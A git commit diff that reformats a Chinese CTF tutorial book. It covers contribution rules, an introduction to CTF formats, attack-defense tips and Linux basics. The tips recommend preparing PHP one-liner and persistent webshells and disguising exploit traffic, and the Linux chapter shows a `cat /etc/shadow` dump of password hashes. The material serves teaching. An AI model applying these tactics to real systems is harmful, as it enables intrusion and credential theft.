mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2024-12-24 19:21:15 +07:00
use markdownlint
This commit is contained in:
parent
17c44ad9bb
commit
89825f0544
5
.markdownlint.json
Normal file
5
.markdownlint.json
Normal file
@ -0,0 +1,5 @@
|
||||
{
|
||||
"MD013": false,
|
||||
"MD014": false,
|
||||
"MD033": false
|
||||
}
|
@ -1,4 +1,5 @@
|
||||
# 合作与贡献
|
||||
|
||||
随着信息安全的迅速发展,CTF 竞赛也在如火如荼的开展,有人说“今天的 ACM 就是明天的 CTF”,颇有几分道理。
|
||||
|
||||
市场上已经充斥着大量的 ACM 书籍,而 CTF 以其知识内容之分散、考察面之广泛、题目类型之多变,让许多新手不知所措,同时也加大了该方面书籍的编写难度。
|
||||
@ -13,10 +14,11 @@
|
||||
|
||||
-- 开始于 2017.7.15
|
||||
|
||||
|
||||
## 规范
|
||||
#### 目录结构
|
||||
```
|
||||
|
||||
### 目录结构
|
||||
|
||||
```text
|
||||
.
|
||||
├── .gitignore
|
||||
├── .travis.yml
|
||||
@ -62,10 +64,12 @@
|
||||
- `slides`:该目录包含以书为主要内容制作的幻灯片。(ppt)
|
||||
- `build`:该目录包含使用 LaTeX 生成的 PDF 书籍。(pdf)
|
||||
|
||||
#### 注意事项
|
||||
### 注意事项
|
||||
|
||||
- 在开始编写某一个内容之前,请先在下面的表格里注明,以避免重复和冲突。如果是已经完成的章节,则可以直接进行修改。
|
||||
- 每个章节开头需要有一个目录,增加或删除内容时需要做相应的修改,GitHub 独特的页面跳转写法是:大写换小写,空格换“-”,然后删掉除下划线以外的其他字符。
|
||||
- [中文文案排版指北](https://github.com/sparanoid/chinese-copywriting-guidelines)。
|
||||
- 推荐使用 VSCode,安装插件 markdownlint,对格式进行[规范](https://github.com/DavidAnson/markdownlint/blob/master/doc/Rules.md)。
|
||||
- 可能用到的几个网站:[Graphviz](https://www.graphviz.org/),[asciiflow](http://asciiflow.com/),[asciinema](https://asciinema.org/),[ProcessOn](https://www.processon.com)。
|
||||
- 如果你新添加一个章节,需要在 **SUMMARY.md** 和章节所属部分相应的文件中添加条目。
|
||||
- 新增第六章题解篇,收集各种好题的 Writeup,应力求详细,且能提供程序供实际操作,一个 md 只写一题,所有文件上传到目录 `src/writeup`,题目最好来自 [CTFs](https://github.com/ctfs)。
|
||||
@ -76,7 +80,6 @@
|
||||
- 看了下 GitBook 导出的 PDF,排版有点不忍直视,计划转战 LaTeX(XeLaTeX),即提供 md 和 tex 两个版本,tex 版本放在目录 `tex/` 下。
|
||||
- 有外国小哥哥邮件我希望提供了英文版,鉴于某人的英文水平,可能暂时不太现实,如果有人愿意承担这一部分工作,请告诉我。
|
||||
|
||||
|
||||
| 章节 | 作者 | 进度 |
|
||||
| ------------- | ----------- | ---- |
|
||||
| 2.6_idapro.md | Sky3 | 未完成 |
|
||||
|
35
README.md
35
README.md
@ -1,39 +1,40 @@
|
||||
CTF-All-In-One(CTF 从入门到放弃)
|
||||
# CTF-All-In-One(CTF 从入门到放弃)
|
||||
|
||||
---
|
||||
|
||||
[![Build Status](https://travis-ci.org/firmianay/CTF-All-In-One.svg?branch=master)](https://travis-ci.org/firmianay/CTF-All-In-One)
|
||||
|
||||
*——“与其相信谣言,不如一直学习。”*
|
||||
|
||||
GitHub 地址:https://github.com/firmianay/CTF-All-In-One
|
||||
GitHub 地址:<https://github.com/firmianay/CTF-All-In-One>
|
||||
|
||||
GitBook 地址:https://www.gitbook.com/book/firmianay/ctf-all-in-one/details
|
||||
GitBook 地址:<https://www.gitbook.com/book/firmianay/ctf-all-in-one/details>
|
||||
|
||||
PDF/Mobi/ePub 文件下载地址:
|
||||
- (推荐)https://www.gitbook.com/download/pdf/book/firmianay/ctf-all-in-one
|
||||
- (不推荐)https://github.com/firmianay/CTF-All-In-One/releases
|
||||
|
||||
- (推荐)<https://www.gitbook.com/download/pdf/book/firmianay/ctf-all-in-one>
|
||||
- (不推荐)<https://github.com/firmianay/CTF-All-In-One/releases>
|
||||
|
||||
## 目录
|
||||
|
||||
目录
|
||||
---
|
||||
请查看 [SUMMARY.md](https://github.com/firmianay/CTF-All-In-One/blob/master/SUMMARY.md)
|
||||
|
||||
合作和贡献
|
||||
---
|
||||
## 合作和贡献
|
||||
|
||||
请查看 [CONTRIBUTION.md](https://github.com/firmianay/CTF-All-In-One/blob/master/CONTRIBUTION.md)
|
||||
|
||||
常见问题
|
||||
---
|
||||
## 常见问题
|
||||
|
||||
请查看 [FAQ.md](https://github.com/firmianay/CTF-All-In-One/blob/master/FAQ.md)
|
||||
|
||||
修改记录
|
||||
---
|
||||
## 修改记录
|
||||
|
||||
请查看 [CHANGELOG](https://github.com/firmianay/CTF-All-In-One/blob/master/CHANGELOG)
|
||||
|
||||
致谢
|
||||
---
|
||||
## 致谢
|
||||
|
||||
请查看 [THANKS](https://github.com/firmianay/CTF-All-In-One/blob/master/THANKS)
|
||||
|
||||
LICENSE
|
||||
---
|
||||
## LICENSE
|
||||
|
||||
CC BY-SA 4.0
|
||||
|
@ -1,7 +1,6 @@
|
||||
# Summary
|
||||
|
||||
GitHub 地址:https://github.com/firmianay/CTF-All-In-One
|
||||
|
||||
GitHub 地址:<https://github.com/firmianay/CTF-All-In-One>
|
||||
|
||||
* [简介](README.md)
|
||||
* [前言](doc/0_preface.md)
|
||||
|
@ -8,26 +8,27 @@
|
||||
- [线下赛 AWD 模式](#线下赛-awd-模式)
|
||||
- [搭建 CTF 比赛平台](#搭建-ctf-比赛平台)
|
||||
|
||||
|
||||
## 概述
|
||||
|
||||
CTF(Capture The Flag)中文一般译作夺旗赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式。CTF起源于1996年DEFCON全球黑客大会,以代替之前黑客们通过互相发起真实攻击进行技术比拼的方式。发展至今,已经成为全球范围网络安全圈流行的竞赛形式,2013年全球举办了超过五十场国际性CTF赛事。而DEFCON作为CTF赛制的发源地,DEFCON CTF也成为了目前全球最高技术水平和影响力的CTF竞赛,类似于CTF赛场中的“世界杯”。
|
||||
|
||||
CTF 为团队赛,通常以三人为限,要想在比赛中取得胜利,就要求团队中每个人在各种类别的题目中至少精通一类,三人优势互补,取得团队的胜利。同时,准备和参与 CTF 比赛是一种有效将计算机科学的离散面、聚焦于计算机安全领域的方法。
|
||||
|
||||
|
||||
## 赛事介绍
|
||||
|
||||
CTF是一种流行的信息安全竞赛形式,其英文名可直译为“夺得Flag”,也可意译为“夺旗赛”。其大致流程是,参赛团队之间通过进行攻防对抗、程序分析等形式,率先从主办方给出的比赛环境中得到一串具有一定格式的字符串或其他内容,并将其提交给主办方,从而夺得分数。为了方便称呼,我们把这样的内容称之为“Flag”。
|
||||
|
||||
CTF竞赛模式具体分为以下三类:
|
||||
1. 解题模式(Jeopardy)
|
||||
在解题模式CTF赛制中,参赛队伍可以通过互联网或者现场网络参与,这种模式的CTF竞赛与ACM编程竞赛、信息学奥赛比较类似,以解决网络安全技术挑战题目的分值和时间来排名,通常用于在线选拔赛。题目主要包含逆向、漏洞挖掘与利用、Web渗透、密码、取证、隐写、安全编程等类别。
|
||||
2. 攻防模式(Attack-Defense)
|
||||
在攻防模式CTF赛制中,参赛队伍在网络空间互相进行攻击和防守,挖掘网络服务漏洞并攻击对手服务来得分,修补自身服务漏洞进行防御来避免丢分。攻防模式CTF赛制可以实时通过得分反映出比赛情况,最终也以得分直接分出胜负,是一种竞争激烈,具有很强观赏性和高度透明性的网络安全赛制。在这种赛制中,不仅仅是比参赛队员的智力和技术,也比体力(因为比赛一般都会持续48小时及以上),同时也比团队之间的分工配合与合作。
|
||||
3. 混合模式(Mix)
|
||||
结合了解题模式与攻防模式的CTF赛制,比如参赛队伍通过解题可以获取一些初始分数,然后通过攻防对抗进行得分增减的零和游戏,最终以得分高低分出胜负。采用混合模式CTF赛制的典型代表如iCTF国际CTF竞赛。
|
||||
|
||||
- 解题模式(Jeopardy)
|
||||
- 在解题模式CTF赛制中,参赛队伍可以通过互联网或者现场网络参与,这种模式的CTF竞赛与ACM编程竞赛、信息学奥赛比较类似,以解决网络安全技术挑战题目的分值和时间来排名,通常用于在线选拔赛。题目主要包含逆向、漏洞挖掘与利用、Web渗透、密码、取证、隐写、安全编程等类别。
|
||||
- 攻防模式(Attack-Defense)
|
||||
- 在攻防模式CTF赛制中,参赛队伍在网络空间互相进行攻击和防守,挖掘网络服务漏洞并攻击对手服务来得分,修补自身服务漏洞进行防御来避免丢分。攻防模式CTF赛制可以实时通过得分反映出比赛情况,最终也以得分直接分出胜负,是一种竞争激烈,具有很强观赏性和高度透明性的网络安全赛制。在这种赛制中,不仅仅是比参赛队员的智力和技术,也比体力(因为比赛一般都会持续48小时及以上),同时也比团队之间的分工配合与合作。
|
||||
- 混合模式(Mix)
|
||||
- 结合了解题模式与攻防模式的CTF赛制,比如参赛队伍通过解题可以获取一些初始分数,然后通过攻防对抗进行得分增减的零和游戏,最终以得分高低分出胜负。采用混合模式CTF赛制的典型代表如iCTF国际CTF竞赛。
|
||||
|
||||
## 题目类别
|
||||
|
||||
- Reverse
|
||||
- 题目涉及到软件逆向、破解技术等,要求有较强的反汇编、反编译功底。主要考查参赛选手的逆向分析能力。
|
||||
- 所需知识:汇编语言、加密与解密、常见反编译工具
|
||||
@ -47,8 +48,8 @@ CTF竞赛模式具体分为以下三类:
|
||||
- 主要分为 Android 和 iOS 两个平台,以 Android 逆向为主,破解 APK 并提交正确答案。
|
||||
- 所需知识:Java,Android 开发,常见工具
|
||||
|
||||
|
||||
## 高质量的比赛
|
||||
|
||||
详见:[ctftime.org](http://www.ctftime.org)
|
||||
|
||||
- Pwn2Own
|
||||
@ -59,8 +60,8 @@ CTF竞赛模式具体分为以下三类:
|
||||
- 机器人的CTF攻防比赛
|
||||
- 自动化漏洞挖掘、漏洞利用、程序分析、程序补丁
|
||||
|
||||
|
||||
## 竞赛小贴士
|
||||
|
||||
- 寻找团队
|
||||
- 彼此激励24小时以上的连续作战
|
||||
- 彼此分享交流技术与心得是最快的成长途径
|
||||
@ -70,38 +71,40 @@ CTF竞赛模式具体分为以下三类:
|
||||
- 坚持不懈地训练是成为强者的必经途径
|
||||
- wargame
|
||||
- 经典赛题配合writeup加以总结
|
||||
- https://github.com/ctfs
|
||||
以赛代练
|
||||
总结与分享
|
||||
- [ctfs](https://github.com/ctfs)
|
||||
- 以赛代练
|
||||
- 总结与分享
|
||||
- wargame推荐
|
||||
- 漏洞挖掘与利用
|
||||
- pwnable.kr
|
||||
- https://exploit-exercises.com/
|
||||
- https://io.netgarage.org/
|
||||
- [exploit-exercises](https://exploit-exercises.com/)
|
||||
- [netgarage](https://io.netgarage.org/)
|
||||
- 逆向工程与软件破解
|
||||
- reversing.kr
|
||||
- http://crackmes.de/
|
||||
- [reversing.kr](http://reversing.kr/)
|
||||
- [crackmes.de](http://crackmes.de/)
|
||||
- web渗透
|
||||
- webhacking.kr
|
||||
- https://xss-game.appspot.com/
|
||||
- [webhacking.kr](http://webhacking.kr/)
|
||||
- [xss-game](https://xss-game.appspot.com/)
|
||||
- 综合类
|
||||
- http://overthewire.org/wargames/
|
||||
- https://w3challs.com/
|
||||
- https://chall.stypr.com/?chall
|
||||
- https://pentesterlab.com/
|
||||
- id0-rsa.pub
|
||||
|
||||
- [wargames](http://overthewire.org/wargames/)
|
||||
- [w3challs](https://w3challs.com/)
|
||||
- [Stereotyped Challenges](https://chall.stypr.com/?chall)
|
||||
- [pentesterlab](https://pentesterlab.com/)
|
||||
- [id0-rsa.pub](https://id0-rsa.pub/)
|
||||
|
||||
## 线下赛 AWD 模式
|
||||
|
||||
Attack With Defence,简而言之就是你既是一个 hacker,又是一个 manager。
|
||||
|
||||
比赛形式:一般就是一个 ssh 对应一个服务,可能是 web 也可能是 pwn,然后 flag 五分钟一轮,各队一般都有自己的初始分数,flag 被拿会被拿走 flag 的队伍均分,主办方会对每个队伍的服务进行 check,check 不过就扣分,扣除的分值由服务 check 正常的队伍均分。
|
||||
|
||||
#### 怎样拿到 flag
|
||||
### 怎样拿到 flag
|
||||
|
||||
1. web 主要是向目标服务器发送 http 请求,返回 flag
|
||||
2. bin 主要是通过 exploit 脚本读取 `/home/username` 下某个文件夹下的 flag 文件
|
||||
|
||||
#### Web 题目类型
|
||||
### Web 题目类型
|
||||
|
||||
1. 出题人自己写的 CMS 或者魔改后的 CMS(注意最新漏洞、1day 漏洞等)
|
||||
2. 常见(比如 `Wordpress` 博客啊、`Discuz!` 论坛啊)或者不常见 CMS 等
|
||||
3. 框架型漏洞(CI等)
|
||||
@ -116,7 +119,8 @@ Attack With Defence,简而言之就是你既是一个 hacker,又是一个 ma
|
||||
- 脚本准备:一句话,文件包含,不死马、禁止文件上传等
|
||||
- **警惕 web 弱口令,用最快的速度去补。**
|
||||
|
||||
#### Bin 题目类型
|
||||
### Bin 题目类型
|
||||
|
||||
大部分是 PWN,题目类型包括栈、堆、格式化字符串等等。
|
||||
|
||||
- 能力:
|
||||
@ -127,7 +131,8 @@ Attack With Defence,简而言之就是你既是一个 hacker,又是一个 ma
|
||||
- 如果二进制分析遇到障碍难以进行,那就去帮帮 web 选手运维
|
||||
- 看看现场环境是否可以提权,这样可以方便我们搞操作(如魔改 libc 等等)
|
||||
|
||||
#### 技巧
|
||||
### 技巧
|
||||
|
||||
- 如果自己拿到 FB, 先用 NPC 服务器或者自己服务器测试,格外小心自己的 payload 不要被别的队伍抓取到, 写打全场的 exp 时,一定要加入混淆流量。
|
||||
- 提前准备好 PHP 一句话木马等等脚本。
|
||||
- 小心其他队伍恶意攻击使我们队伍机器的服务不能正常运行,因此一定要备份服务器的配置。
|
||||
@ -137,12 +142,12 @@ Attack With Defence,简而言之就是你既是一个 hacker,又是一个 ma
|
||||
- 不要忽视 Github 等平台,可能会有写好的 exp 可以用。
|
||||
- 将 flag 的提交自动化。
|
||||
|
||||
|
||||
## 搭建 CTF 比赛平台
|
||||
|
||||
- [FBCTF](https://github.com/facebook/fbctf) - The Facebook CTF is a platform to host Jeopardy and “King of the Hill” style Capture the Flag competitions.
|
||||
- [CTFd](https://github.com/CTFd/CTFd) - CTFd is a Capture The Flag in a can. It's easy to customize with plugins and themes and has everything you need to run a jeopardy style CTF.
|
||||
- [SecGen](https://github.com/cliffe/SecGen) - SecGen creates vulnerable virtual machines so students can learn security penetration testing techniques.
|
||||
|
||||
|
||||
## 参考
|
||||
https://baike.baidu.com/item/ctf/9548546#viewPageContent
|
||||
|
||||
- [ctf(夺旗赛)](https://baike.baidu.com/item/ctf/9548546#viewPageContent)
|
||||
|
@ -1,7 +1,3 @@
|
||||
# 1.2 学习方法
|
||||
|
||||
- [提问的智慧](#提问的智慧)
|
||||
|
||||
|
||||
## 提问的智慧
|
||||
https://github.com/ryanhanwu/How-To-Ask-Questions-The-Smart-Way
|
||||
- [提问的智慧](https://github.com/ryanhanwu/How-To-Ask-Questions-The-Smart-Way)
|
||||
|
@ -15,8 +15,8 @@
|
||||
- [procfs](#procfs)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
## 常用基础命令
|
||||
|
||||
```text
|
||||
ls 用来显示目标列表
|
||||
|
||||
@ -74,6 +74,7 @@ exit 退出 shell
|
||||
```
|
||||
|
||||
使用变量:
|
||||
|
||||
```text
|
||||
var=value 给变量var赋值value
|
||||
|
||||
@ -85,6 +86,7 @@ $var, ${var} 取变量的值
|
||||
|
||||
"string" 可替换字符串
|
||||
```
|
||||
|
||||
```text
|
||||
$ var="test";
|
||||
$ echo $var
|
||||
@ -103,8 +105,8 @@ $ echo $0
|
||||
$ $($0)
|
||||
```
|
||||
|
||||
|
||||
## Bash 快捷键
|
||||
|
||||
```text
|
||||
Up(Down) 上(下)一条指令
|
||||
|
||||
@ -128,10 +130,11 @@ Ctrl + Shift + c 复制
|
||||
|
||||
Ctrl + Shift + v 粘贴
|
||||
```
|
||||
更多细节请查看:https://ss64.com/bash/syntax-keyboard.html
|
||||
|
||||
更多细节请查看:[Bash Keyboard Shortcuts](https://ss64.com/bash/syntax-keyboard.html)
|
||||
|
||||
## 根目录结构
|
||||
|
||||
```text
|
||||
$ uname -a
|
||||
Linux manjaro 4.11.5-1-ARCH #1 SMP PREEMPT Wed Jun 14 16:19:27 CEST 2017 x86_64 GNU/Linux
|
||||
@ -158,7 +161,9 @@ drwxrwxrwt 36 root root 1060 Aug 14 21:27 tmp
|
||||
drwxr-xr-x 11 root root 4096 Aug 14 13:54 usr
|
||||
drwxr-xr-x 12 root root 4096 Jun 28 20:17 var
|
||||
```
|
||||
|
||||
由于不同的发行版会有略微的不同,我们这里使用的是基于 Arch 的发行版 Manjaro,以上就是根目录下的内容,我们介绍几个重要的目录:
|
||||
|
||||
- `/bin`、`/sbin`:链接到 `/usr/bin`,存放 Linux 一些核心的二进制文件,其包含的命令可在 shell 上运行。
|
||||
- `/boot`:操作系统启动时要用到的程序。
|
||||
- `/dev`:包含了所有 Linux 系统中使用的外部设备。需要注意的是这里并不是存放外部设备的驱动程序,而是一个访问这些设备的端口。
|
||||
@ -176,27 +181,30 @@ drwxr-xr-x 12 root root 4096 Jun 28 20:17 var
|
||||
- `/usr/src`:内核源代码的存放目录。
|
||||
- `/var`:存放了很多服务的日志信息。
|
||||
|
||||
|
||||
## 进程管理
|
||||
- top
|
||||
- 可以实时动态地查看系统的整体运行情况。
|
||||
- ps
|
||||
- 用于报告当前系统的进程状态。可以搭配 kill 指令随时中断、删除不必要的程序。
|
||||
- 查看某进程的状态:`$ ps -aux | grep [file]`,其中返回内容最左边的数字为进程号(PID)。
|
||||
- kill
|
||||
- 用来删除执行中的程序或工作。
|
||||
- 删除进程某 PID 指定的进程:`$ kill [PID]`
|
||||
|
||||
- top
|
||||
- 可以实时动态地查看系统的整体运行情况。
|
||||
- ps
|
||||
- 用于报告当前系统的进程状态。可以搭配 kill 指令随时中断、删除不必要的程序。
|
||||
- 查看某进程的状态:`$ ps -aux | grep [file]`,其中返回内容最左边的数字为进程号(PID)。
|
||||
- kill
|
||||
- 用来删除执行中的程序或工作。
|
||||
- 删除进程某 PID 指定的进程:`$ kill [PID]`
|
||||
|
||||
## UID 和 GID
|
||||
|
||||
Linux 是一个支持多用户的操作系统,每个用户都有 User ID(UID) 和 Group ID(GID),UID 是对一个用户的单一身份标识,而 GID 则对应多个 UID。知道某个用户的 UID 和 GID 是非常有用的,一些程序可能就需要 UID/GID 来运行。可以使用 `id` 命令来查看:
|
||||
|
||||
```text
|
||||
$ id root
|
||||
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),19(log)
|
||||
$ id firmy
|
||||
uid=1000(firmy) gid=1000(firmy) groups=1000(firmy),3(sys),7(lp),10(wheel),90(network),91(video),93(optical),95(storage),96(scanner),98(power),56(bumblebee)
|
||||
```
|
||||
|
||||
UID 为 0 的 root 用户类似于系统管理员,它具有系统的完全访问权。我自己新建的用户 firmy,其 UID 为 1000,是一个普通用户。GID 的关系存储在 `/etc/group` 文件中:
|
||||
|
||||
```text
|
||||
$ cat /etc/group
|
||||
root:x:0:root
|
||||
@ -205,13 +213,17 @@ daemon:x:2:root,bin,daemon
|
||||
sys:x:3:root,bin,firmy
|
||||
......
|
||||
```
|
||||
|
||||
所有用户的信息(除了密码)都保存在 `/etc/passwd` 文件中,而为了安全起见,加密过的用户密码保存在 `/etc/shadow` 文件中,此文件只有 root 权限可以访问。
|
||||
|
||||
```text
|
||||
$ sudo cat /etc/shadow
|
||||
root:$6$root$wvK.pRXFEH80GYkpiu1tEWYMOueo4tZtq7mYnldiyJBZDMe.mKwt.WIJnehb4bhZchL/93Oe1ok9UwxYf79yR1:17264::::::
|
||||
firmy:$6$firmy$dhGT.WP91lnpG5/10GfGdj5L1fFVSoYlxwYHQn.llc5eKOvr7J8nqqGdVFKykMUSDNxix5Vh8zbXIapt0oPd8.:17264:0:99999:7:::
|
||||
```
|
||||
|
||||
由于普通用户的权限比较低,这里使用 `sudo` 命令可以让普通用户以 root 用户的身份运行某一命令。使用 `su` 命令则可以切换到一个不同的用户:
|
||||
|
||||
```text
|
||||
$ whoami
|
||||
firmy
|
||||
@ -219,40 +231,45 @@ $ su root
|
||||
# whoami
|
||||
root
|
||||
```
|
||||
|
||||
`whoami` 用于打印当前有效的用户名称,shell 中普通用户以 `$` 开头,root 用户以 `#` 开头。在输入密码后,我们已经从 firmy 用户转换到 root 用户了。
|
||||
|
||||
|
||||
## 权限设置
|
||||
|
||||
在 Linux 中,文件或目录权限的控制分别以读取、写入、执行 3 种一般权限来区分,另有 3 种特殊权限可供运用。
|
||||
|
||||
使用 `ls -l [file]` 来查看某文件或目录的信息:
|
||||
|
||||
```text
|
||||
$ ls -l /
|
||||
lrwxrwxrwx 1 root root 7 Jun 21 22:44 bin -> usr/bin
|
||||
drwxr-xr-x 4 root root 4096 Jul 28 08:48 boot
|
||||
-rw-r--r-- 1 root root 18561 Apr 2 22:48 desktopfs-pkgs.txt
|
||||
```
|
||||
|
||||
第一栏从第二个字母开始就是权限字符串,权限表示三个为一组,依次是所有者权限、组权限、其他人权限。每组的顺序均为 `rwx`,如果有相应权限,则表示成相应字母,如果不具有相应权限,则用 `-` 表示。
|
||||
- `r`:读取权限,数字代号为 “4”
|
||||
- `w`:写入权限,数字代号为 “2”
|
||||
- `x`:执行或切换权限,数字代号为 “1”
|
||||
|
||||
- `r`:读取权限,数字代号为 “4”
|
||||
- `w`:写入权限,数字代号为 “2”
|
||||
- `x`:执行或切换权限,数字代号为 “1”
|
||||
|
||||
通过第一栏的第一个字母可知,第一行是一个链接文件 (`l`),第二行是个目录(`d`),第三行是个普通文件(`-`)。
|
||||
|
||||
用户可以使用 `chmod` 指令去变更文件与目录的权限。权限范围被指定为所有者(`u`)、所属组(`g`)、其他人(`o`)和所有人(`a`)。
|
||||
|
||||
- -R:递归处理,将指令目录下的所有文件及子目录一并处理;
|
||||
- <权限范围>+<权限设置>:开启权限范围的文件或目录的该选项权限设置
|
||||
- `$ chmod a+r [file]`:赋予所有用户读取权限
|
||||
- `$ chmod a+r [file]`:赋予所有用户读取权限
|
||||
- <权限范围>-<权限设置>:关闭权限范围的文件或目录的该选项权限设置
|
||||
- `$ chmod u-w [file]`:取消所有者写入权限
|
||||
- `$ chmod u-w [file]`:取消所有者写入权限
|
||||
- <权限范围>=<权限设置>:指定权限范围的文件或目录的该选项权限设置;
|
||||
- `$ chmod g=x [file]`:指定组权限为可执行
|
||||
- `$ chmod o=rwx [file]`:制定其他人权限为可读、可写和可执行
|
||||
|
||||
![](../pic/1.3_file.png)
|
||||
- `$ chmod g=x [file]`:指定组权限为可执行
|
||||
- `$ chmod o=rwx [file]`:制定其他人权限为可读、可写和可执行
|
||||
|
||||
![img](../pic/1.3_file.png)
|
||||
|
||||
## 字节序
|
||||
|
||||
目前计算机中采用两种字节存储机制:大端(Big-endian)和小端(Little-endian)。
|
||||
|
||||
>MSB (Most Significan Bit/Byte):最重要的位或最重要的字节。
|
||||
@ -263,9 +280,10 @@ Big-endian 规定 MSB 在存储时放在低地址,在传输时放在流的开
|
||||
|
||||
例如十六进制整数 0x12345678 存入以 1000H 开始的内存中:
|
||||
|
||||
![](../pic/1.3_byte_order.png)
|
||||
![img](../pic/1.3_byte_order.png)
|
||||
|
||||
我们在内存中实际地看一下,在地址 `0xffffd584` 处有字符 `1234`,在地址 `0xffffd588` 处有字符 `5678`。
|
||||
|
||||
```text
|
||||
gdb-peda$ x/w 0xffffd584
|
||||
0xffffd584: 0x34333231
|
||||
@ -291,20 +309,20 @@ db-peda$ x/s 0xffffd584
|
||||
0xffffd584: "12345678"
|
||||
```
|
||||
|
||||
|
||||
## 输入输出
|
||||
- 使用命令的输出作为可执行文件的输入参数
|
||||
- `$ ./vulnerable 'your_command_here'`
|
||||
- `$ ./vulnerable $(your_command_here)`
|
||||
- 使用命令作为输入
|
||||
- `$ your_command_here | ./vulnerable`
|
||||
- 将命令行输出写入文件
|
||||
- `$ your_command_here > filename`
|
||||
- 使用文件作为输入
|
||||
- `$ ./vulnerable < filename`
|
||||
|
||||
- 使用命令的输出作为可执行文件的输入参数
|
||||
- `$ ./vulnerable 'your_command_here'`
|
||||
- `$ ./vulnerable $(your_command_here)`
|
||||
- 使用命令作为输入
|
||||
- `$ your_command_here | ./vulnerable`
|
||||
- 将命令行输出写入文件
|
||||
- `$ your_command_here > filename`
|
||||
- 使用文件作为输入
|
||||
- `$ ./vulnerable < filename`
|
||||
|
||||
## 文件描述符
|
||||
|
||||
在 Linux 系统中一切皆可以看成是文件,文件又分为:普通文件、目录文件、链接文件和设备文件。文件描述符(file descriptor)是内核管理已被打开的文件所创建的索引,使用一个非负整数来指代被打开的文件。
|
||||
|
||||
标准文件描述符如下:
|
||||
@ -317,11 +335,12 @@ db-peda$ x/s 0xffffd584
|
||||
|
||||
当一个程序使用 `fork()` 生成一个子进程后,子进程会继承父进程所打开的文件表,此时,父子进程使用同一个文件表,这可能导致一些安全问题。如果使用 `vfork()`,子进程虽然运行于父进程的空间,但拥有自己的进程表项。
|
||||
|
||||
|
||||
## 核心转储
|
||||
|
||||
当程序运行的过程中异常终止或崩溃,操作系统会将程序当时的内存、寄存器状态、堆栈指针、内存管理信息等记录下来,保存在一个文件中,这种行为就叫做核心转储(Core Dump)。
|
||||
|
||||
#### 会产生核心转储的信号
|
||||
### 会产生核心转储的信号
|
||||
|
||||
Signal | Action | Comment
|
||||
--- | --- | ---
|
||||
SIGQUIT | Core | Quit from keyboard
|
||||
@ -330,32 +349,41 @@ SIGABRT | Core | Abort signal from abort
|
||||
SIGSEGV | Core | Invalid memory reference
|
||||
SIGTRAP | Core | Trace/breakpoint trap
|
||||
|
||||
#### 开启核心转储
|
||||
### 开启核心转储
|
||||
|
||||
- 输入命令 `ulimit -c`,输出结果为 `0`,说明默认是关闭的。
|
||||
- 输入命令 `ulimit -c unlimited` 即可在当前终端开启核心转储功能。
|
||||
- 如果想让核心转储功能永久开启,可以修改文件 `/etc/security/limits.conf`,增加一行:
|
||||
```
|
||||
|
||||
```text
|
||||
#<domain> <type> <item> <value>
|
||||
* soft core unlimited
|
||||
```
|
||||
|
||||
#### 修改转储文件保存路径
|
||||
### 修改转储文件保存路径
|
||||
|
||||
- 通过修改 `/proc/sys/kernel/core_uses_pid`,可以使生成的核心转储文件名变为 `core.[pid]` 的模式。
|
||||
```
|
||||
|
||||
```text
|
||||
# echo 1 > /proc/sys/kernel/core_uses_pid
|
||||
```
|
||||
|
||||
- 还可以修改 `/proc/sys/kernel/core_pattern` 来控制生成核心转储文件的保存位置和文件名格式。
|
||||
```
|
||||
|
||||
```text
|
||||
# echo /tmp/core-%e-%p-%t > /proc/sys/kernel/core_pattern
|
||||
```
|
||||
|
||||
此时生成的文件保存在 `/tmp/` 目录下,文件名格式为 `core-[filename]-[pid]-[time]`。
|
||||
|
||||
#### 使用 gdb 调试核心转储文件
|
||||
### 使用 gdb 调试核心转储文件
|
||||
|
||||
```text
|
||||
$ gdb [filename] [core file]
|
||||
gdb [filename] [core file]
|
||||
```
|
||||
|
||||
#### 例子
|
||||
### 例子
|
||||
|
||||
```text
|
||||
$ cat core.c
|
||||
#include <stdio.h>
|
||||
@ -384,25 +412,28 @@ Stack level 0, frame at 0x41414141:
|
||||
Cannot access memory at address 0x4141413d
|
||||
```
|
||||
|
||||
|
||||
## 调用约定
|
||||
|
||||
函数调用约定是对函数调用时如何传递参数的一种约定。关于它的约定有许多种,下面我们分别从内核接口和用户接口介绍 32 位和 64 位 Linux 的调用约定。
|
||||
|
||||
#### 内核接口
|
||||
### 内核接口
|
||||
|
||||
**x86-32 系统调用约定**:Linux 系统调用使用寄存器传递参数。`eax` 为 syscall_number,`ebx`、`ecx`、`edx`、`esi`、`ebp` 用于将 6 个参数传递给系统调用。返回值保存在 `eax` 中。所有其他寄存器(包括 EFLAGS)都保留在 `int 0x80` 中。
|
||||
|
||||
**x86-64 系统调用约定**:内核接口使用的寄存器有:`rdi`、`rsi`、`rdx`、`r10`、`r8`、`r9`。系统调用通过 `syscall` 指令完成。除了 `rcx`、`r11` 和 `rax`,其他的寄存器都被保留。系统调用的编号必须在寄存器 `rax` 中传递。系统调用的参数限制为 6 个,不直接从堆栈上传递任何参数。返回时,`rax` 中包含了系统调用的结果。而且只有 INTEGER 或者 MEMORY 类型的值才会被传递给内核。
|
||||
|
||||
#### 用户接口
|
||||
### 用户接口
|
||||
|
||||
**x86-32 函数调用约定**:参数通过栈进行传递。最后一个参数第一个被放入栈中,直到所有的参数都放置完毕,然后执行 call 指令。这也是 Linux 上 C 语言函数的方式。
|
||||
|
||||
**x86-64 函数调用约定**:x86-64 下通过寄存器传递参数,这样做比通过栈有更高的效率。它避免了内存中参数的存取和额外的指令。根据参数类型的不同,会使用寄存器或传参方式。如果参数的类型是 MEMORY,则在栈上传递参数。如果类型是 INTEGER,则顺序使用 `rdi`、`rsi`、`rdx`、`rcx`、`r8` 和 `r9`。所以如果有多于 6 个的 INTEGER 参数,则后面的参数在栈上传递。
|
||||
|
||||
|
||||
## 环境变量
|
||||
|
||||
环境变量字符串都是 `name=value` 这样的形式。大多数 name 由大写字母加下画线组成,一般把 name 部分叫做环境变量名,value 部分则是环境变量的值,而且 value 需要以 "/0" 结尾,环境变量定义了该进程的运行环境。
|
||||
|
||||
#### 分类
|
||||
### 分类
|
||||
|
||||
- 按照生命周期划分
|
||||
- 永久环境变量:修改相关配置文件,永久生效。
|
||||
- 临时环境变量:使用 `export` 命令,在当前终端下生效,关闭终端后失效。
|
||||
@ -410,21 +441,25 @@ Cannot access memory at address 0x4141413d
|
||||
- 系统环境变量:对该系统中所有用户生效。
|
||||
- 用户环境变量:对特定用户生效。
|
